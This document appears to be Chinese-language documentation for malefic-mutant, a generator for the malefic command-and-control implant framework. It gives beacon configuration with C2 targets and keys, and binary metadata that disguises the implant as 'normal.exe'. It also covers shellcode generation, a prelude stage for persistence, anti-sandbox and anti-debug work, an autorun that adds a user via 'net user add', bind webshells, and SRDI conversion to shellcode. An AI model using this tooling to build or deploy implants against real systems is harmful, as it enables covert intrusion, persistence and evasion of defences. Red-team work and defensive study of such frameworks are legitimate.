mutant
Intro¶
malefic 在v0.0.3中解耦为多个组件并新增了大量组件,可预见的将会有更多组件和模块出现在项目中, 因此配置生成/管理工具刻不容缓, 之前的 config 已经无法满足当前的需求, 我们新增了 malefic-mutant 代替原有的malefic-config
在设计中, mutant 的定位相当于 MSF venom, 可以动态解析和更改配置以动态生成代码, 也可以通过需求动态生成 shellcode 的 raw 文件.
Install/Build¶
malefic-mutant 会随着每个版本自动编译对应的release. 直接下载即可使用
https://github.com/chainreactors/malefic/releases/latest
也支持从源码编译:
cargo build --release -p malefic-mutant
编译环境
编译环境可以参考build中对应的配置流程: https://chainreactors.github.io/wiki/IoM/manual/implant/build/#_6
Usage¶
malefic-mutant 目前有两大组件:
- generate: 根据配置动态生成代码
- build:创建可用的 shellcode/PE 文件
其中 generate 所依赖的配置均在 malefic/config.yaml 文件中
$ mutant --help
Config malefic beacon and prelude.
Usage: malefic-mutant.exe <COMMAND>
Commands:
generate Config related commands
build Generate related commands
help Print this message or the help of the given subcommand(s)
Options:
-h, --help Print help
generate¶
generate是代码, 配置, 编译条件的生成器, 因此需要在源代码目录下使用.
如果还没有下载对应的源代码, 请先尝试clone malefic.
git clone --recurse-submodules https://github.com/chainreactors/malefic
generate 模块将会根据配置动态生成一切所需的代码(pulse, prelude, beacon...)
beacon¶
配置清单¶
由于 beacon 是整个功能的结合形态, 因此配置项略微复杂, 这里将其分为三部分来介绍
-
basic
basic: name: "malefic" targets: - "10.211.55.2:5001" protocol: "tcp" tls: false proxy: "" interval: 5 jitter: 0.2 ca: "" encryption: aes key: maliceofinternal
-
metadata
metadata: remap_path: "C:/Windows/Users/Maleficarum" icon: "" compile_time: "24 Jun 2015 18:03:01" file_version: "" product_version: "" company_name: "" product_name: "" original_filename: "normal.exe" file_description: "normal" internal_name: ""
-
implants
```yaml implants: mod: beacon register_info: true # 是否需要在注册时获取系统信息(提示: 该行为为危险行为:) hot_load: true # 是否需要 hot load 功能, 即动态插件加载功能 modules: # 所需要使用的 modules - "full" # full (全部模块), nano(不包含任何模块), base(基础模块) # fs_full (文件系统相关模块), net_full (网络相关模块) # sys_full (系统相关模块) # execute_full (内存执行模块)
flags: start: 0x41 # 交互 body 开始标志 end: 0x42 # 交互 body 结束标志 magic: "beautiful" # 动态校验值 artifact_id: 0x1 # unused 保留字段 ```
使用说明¶
Config beacon
Usage: malefic-mutant.exe generate beacon [OPTIONS]
Options:
-h, --help Print help
使用示例¶
malefic-mutant generate beacon
pulse¶
pulse 作为目前的 shellcode 生成器, 由 mutant 通过解析配置来提供生成代码
配置清单¶
其所依赖的配置位于 malefic/config.yaml 文件的 pulse 模块
pulse:
flags:
start: 0x41 # 交互 body 的开始标志
end: 0x42 # 交互 body 的结束标志
magic: "beautiful" # 随机校验
artifact_id: 16 # 用于控制所拉取的阶段
encryption: xor # body 加密方式 (目前为 xor)
key: "maliceofinternal" # 加密的 `key` 值
target: 127.0.0.1:5002
protocol: "tcp" # 通信协议 (目前为 tcp)
http:
method: "GET"
path: "/pulse.bin"
version: "1.1"
headers:
user_agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"
accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
accept_language: "en-US,en;q=0.5"
accept_encoding: "gzip, deflate"
使用说明¶
Generate pulse
Usage: malefic-mutant.exe generate pulse [OPTIONS] <ARCH> <PLATFORM>
Arguments:
<ARCH> Choice arch x86/x64
<PLATFORM> platform, win
Options:
-h, --help Print help
使用示例¶
malefic-mutant generate pulse x64 win
prelude¶
prelude 为可选的用于在上线前进行权限维持, 反沙箱, 反调试等功能的中间阶段
使用说明¶
Config prelude
Usage: malefic-mutant.exe generate prelude [OPTIONS] <YAML_PATH>
Arguments:
<YAML_PATH>
Options:
--resources <RESOURCES> Custom resources dir, default "./resources/" [default: resources]
-h, --help Print help
autorun.yaml¶
yaml示例:
-
name: bof
body: !ExecuteBinary
name: service
bin: !File "addservice.o"
-
name: exe
body: !ExecRequest
args:
- net
- user
- add
- ....
这个yaml能被自动打包编译成spite.bin
malefic-mutant generate prelude autorun.yaml
cargo build -p malefic-prelude
能生成一个自动按顺序执行autorun.yaml 中配置的二进制程序.
bind (Unstable)¶
在当前实际对抗中, 受到网络环境的限制, 很少有人使用 bind 类型的 webshell. 但在一些极端场景下, 例如不出网的webshell 中, 又或者长时间流量静默的场景下. bind 也许有用武之地
bind 作为新增的临时解决方案, 也由 mutant 来进行调配
Config bind
Usage: malefic-mutant.exe generate bind [OPTIONS]
Options:
-h, --help Print help
build¶
build 作为一切可直接使用的结果文件生成器, 目前用于生成 SRDI
的 shellcode 产物
Generate related commands
Usage: malefic-mutant.exe build <COMMAND>
Commands:
srdi Generate SRDI
help Print this message or the help of the given subcommand(s)
Options:
-h, --help Print help
SRDI¶
作为 PE2SHELLCODE 的常见解决方案, 该模块可以将我们的 prelude / beacon 转化为 shellcode 以供多段加载
Generate SRDI
Usage: malefic-mutant.exe build srdi [OPTIONS] <SRC_PATH> <PLATFORM> <ARCH> <TARGET_PATH>
Arguments:
<SRC_PATH> Source exec path
<PLATFORM> platform, win
<ARCH> Choice arch x86/x64
<TARGET_PATH> Target shellcode path
Options:
--function-name <FUNCTION_NAME> Function name [default: ]
--userdata-path <USER_DATA_PATH> User data path [default: ]
-h, --help Print help
使用示例:
malefic-mutant build srdi ./beacon.exe win x64 ./beacon.bin
malefic-mutant build srdi ./beacon.dll win x64 ./beacon.bin --function-name "main"